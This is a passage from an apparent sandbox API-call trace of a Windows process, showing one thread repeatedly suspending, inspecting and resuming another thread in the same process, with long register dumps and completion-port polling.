[191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0275.874] ResumeThread (hThread=0x1b4) returned 0x1
	[0275.874] CloseHandle (hObject=0x1b4) returned 1
	[0275.874] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.909] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.909] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.947] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.947] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b4) returned 1
	[0275.947] SuspendThread (hThread=0x1b4) returned 0x0
	[0275.947] GetThreadContext (in: hThread=0x1b4, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70707ff468, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d56a4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0275.973] ResumeThread (hThread=0x1b4) returned 0x1
	[0275.974] CloseHandle (hObject=0x1b4) returned 1
	[0275.974] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.983] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.983] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b4) returned 1
	[0275.983] SuspendThread (hThread=0x1b4) returned 0x0
	[0275.983] GetThreadContext (in: hThread=0x1b4, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70707ff468, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d56a4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0275.994] ResumeThread (hThread=0x1b4) returned 0x1
	[0275.994] CloseHandle (hObject=0x1b4) returned 1
	[0275.994] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.023] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.023] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b4) returned 1
	[0276.023] SuspendThread (hThread=0x1b4) returned 0x0
	[0276.023] GetThreadContext (in: hThread=0x1b4, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70707ff468, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d56a4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.168] ResumeThread (hThread=0x1b4) returned 0x1
	[0276.168] CloseHandle (hObject=0x1b4) returned 1
	[0276.168] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.188] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.188] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b4) returned 1
	[0276.188] SuspendThread (hThread=0x1b4) returned 0x0
	[0276.188] GetThreadContext (in: hThread=0x1b4, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70707ff6e8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148d33, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.188] ResumeThread (hThread=0x1b4) returned 0x1
	[0276.189] CloseHandle (hObject=0x1b4) returned 1
	[0276.189] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.226] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.226] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.228] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.230] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.266] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.266] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.266] SwitchToThread () returned 1
